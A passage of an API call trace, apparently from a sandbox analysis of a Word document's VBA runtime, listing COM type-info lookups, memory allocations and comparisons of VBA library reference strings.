pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xde, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xdf, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.503] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe0, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.503] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe1, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe2, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe3, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe4, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe5, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe6, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe7, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe8, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xe9, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xea, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xeb, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xec, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xed, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xee, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xef, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf0, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf1, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf2, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf3, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf4, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.504] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf5, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.504] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.505] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf6, ppFuncDesc=0x126af8, pDummy=0x140 | out: ppFuncDesc=0x126af8, pDummy=0x140) returned 0x0 [0053.505] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.505] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf7, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.505] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.505] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xf8, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.505] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.505] ITypeInfo2:GetCustData (in: This=0x68568f0, GUID=0x7fee4b3d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x126b28 | out: pVarVal=0x126b28*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0053.505] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.505] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x126b20, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x126a30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.505] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0053.505] CoCreateGuid (in: pguid=0x126fb0 | out: pguid=0x126fb0*(Data1=0x6f055691, Data2=0xf924, Data3=0x447f, Data4=([0]=0xb2, [1]=0x9e, [2]=0x6d, [3]=0x2d, [4]=0x66, [5]=0x3, [6]=0x70, [7]=0x12))) returned 0x0 [0053.505] CoCreateGuid (in: pguid=0x126fb0 | out: pguid=0x126fb0*(Data1=0x3c134716, Data2=0xf88f, Data3=0x4583, Data4=([0]=0xbe, [1]=0x34, [2]=0x76, [3]=0xa5, [4]=0xa5, [5]=0xaf, [6]=0x8b, [7]=0xf4))) returned 0x0 [0053.505] IMalloc:Alloc (This=0x7feffc15380, cb=0x14) returned 0x6a2c8f0 [0053.505] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.505] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1270e8 | out: ppvObject=0x1270e8*=0x0) returned 0x80004002 [0053.505] IUnknown:Release (This=0x6856a50) returned 0x3 [0053.505] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1270e8 | out: ppvObject=0x1270e8*=0x0) returned 0x80004002 [0053.505] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.505] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1270e8 | out: ppvObject=0x1270e8*=0x0) returned 0x80004002 [0053.505] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a800c0 [0053.505] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69ae290 [0053.505] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69adf90 [0053.506] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6900630 [0053.506] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6900880 [0053.506] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1270e8 | out: ppvObject=0x1270e8*=0x0) returned 0x80004002 [0053.506] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1270e8 | out: ppvObject=0x1270e8*=0x0) returned 0x80004002 [0053.506] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1270e8 | out: ppvObject=0x1270e8*=0x0) returned 0x80004002 [0053.506] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x69d7010 [0053.506] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0053.506] IUnknown:AddRef (This=0x677d9c0) returned 0x4 [0053.506] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x126618, pDummy=0x0 | out: ppTLibAttr=0x126618, pDummy=0x0) returned 0x0 [0053.506] ITypeLib:RemoteGetDocumentation (in: This=0x677d9c0, index=-1, refPtrFlags=0x126630, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x73006900000000 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x73006900000000) returned 0x0 [0053.506] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x407faf0 [0053.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x1266a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpUsedDefaultChar=0x0) returned 66 [0053.506] strcpy_s (in: _Dst=0x68ffe10, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0053.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x1267b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0053.506] strcpy_s (in: _Dst=0x68ffe60, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0053.506] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x407ff40 [0053.506] IUnknown:AddRef (This=0x677d9c0) returned 0x5 [0053.506] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.506] IUnknown:Release (This=0x677d9c0) returned 0x4 [0053.506] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5 [0053.507] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0 [0053.507] IUnknown:AddRef (This=0x677a9f0) returned 0xa [0053.507] ITypeLib:RemoteGetLibAttr (in: This=0x677a9f0, ppTLibAttr=0x126618, pDummy=0x0 | out: ppTLibAttr=0x126618, pDummy=0x0) returned 0x0 [0053.507] ITypeLib:RemoteGetDocumentation (in: This=0x677a9f0, index=-1, refPtrFlags=0x126630, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0x1266a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLBVBE7.DLL", lpUsedDefaultChar=0x0) returned 58 [0053.507] strcpy_s (in: _Dst=0x68ffed0, _DstSize=0x3b, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0053.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x1267b0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0053.507] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6900ad0 [0053.507] strcpy_s (in: _Dst=0x6900af8, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0053.507] IUnknown:AddRef (This=0x677a9f0) returned 0xb [0053.507] ITypeLib:LocalReleaseTLibAttr (This=0x677a9f0) returned 0x0 [0053.507] IUnknown:Release (This=0x677a9f0) returned 0xa [0053.507] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0053.507] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5 [0053.507] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0053.507] IUnknown:AddRef (This=0x677acc0) returned 0x5 [0053.508] ITypeLib:RemoteGetLibAttr (in: This=0x677acc0, ppTLibAttr=0x126618, pDummy=0x0 | out: ppTLibAttr=0x126618, pDummy=0x0) returned 0x0 [0053.508] ITypeLib:RemoteGetDocumentation (in: This=0x677acc0, index=-1, refPtrFlags=0x126630, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchWideChar=31, lpMultiByteStr=0x1266a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlbce\\Root\\Office16\\MSWORD.OLB", lpUsedDefaultChar=0x0) returned 31 [0053.508] strcpy_s (in: _Dst=0x6900b68, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0053.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x1267b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0053.508] strcpy_s (in: _Dst=0x6900b90, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0053.508] IUnknown:AddRef (This=0x677acc0) returned 0x6 [0053.508] ITypeLib:LocalReleaseTLibAttr (This=0x677acc0) returned 0x0 [0053.508] IUnknown:Release (This=0x677acc0) returned 0x5 [0053.508] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 2 [0053.508] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 2 [0053.508] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 2 [0053.509] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0053.509] IUnknown:AddRef (This=0x677dc90) returned 0x3 [0053.509] ITypeLib:RemoteGetLibAttr (in: This=0x677dc90, ppTLibAttr=0x126618, pDummy=0x0 | out: ppTLibAttr=0x126618, pDummy=0x0) returned 0x0 [0053.509] ITypeLib:RemoteGetDocumentation (in: This=0x677dc90, index=-1, refPtrFlags=0x126630, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchWideChar=63, lpMultiByteStr=0x1266a0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLLDLL", lpUsedDefaultChar=0x0) returned 63 [0053.509] strcpy_s (in: _Dst=0x6900c00, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0053.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x1267b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0053.509] strcpy_s (in: _Dst=0x6900c48, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0053.509] IUnknown:AddRef (This=0x677dc90) returned 0x4 [0053.509] ITypeLib:LocalReleaseTLibAttr (This=0x677dc90) returned 0x0 [0053.509] IUnknown:Release (This=0x677dc90) returned 0x3 [0053.509] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126260 | out: ppvObject=0x126260*=0x0) returned 0x80004002 [0053.509] IUnknown:AddRef (This=0x68569a0) returned 0x3 [0053.509] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x126278, pDummy=0x10 | out: ppTypeAttr=0x126278, pDummy=0x10) returned 0x0 [0053.509] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.509] IUnknown:Release (This=0x68569a0) returned 0x2 [0053.509] IUnknown:Release (This=0x68569a0) returned 0x1 [0053.509] IMalloc:Alloc (This=0x7feffc15380, cb=0x118) returned 0x6a53e20 [0053.509] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6900d20 [0053.509] IMalloc:Alloc (This=0x7feffc15380, cb=0xe28) returned 0x6a90960 [0053.509] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856a50, ppTypeAttr=0x126258, pDummy=0x126294 | out: ppTypeAttr=0x126258, pDummy=0x126294*=0xffffffff) returned 0x0 [0053.509] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x0, ppFuncDesc=0x126250, pDummy=0x126298 | out: ppFuncDesc=0x126250, pDummy=0x126298*=0x6856a50) returned 0x0 [0053.509] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.509] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x1, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.509] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.509] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x2, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.509] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.509] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x3, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.509] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.509] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x4, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.509] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.509] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x5, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.509] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x6, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x7, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x8, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0x9, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xa, ppFuncDesc=0x126250, pDummy=0xa0 | out: ppFuncDesc=0x126250, pDummy=0xa0) returned 0x0 [0053.510] ITypeInfo:LocalReleaseFuncDesc (This=0x6856a50) returned 0x0 [0053.510] ITypeInfo:RemoteGetFuncDesc (in: This=0x6856a50, index=0xb, 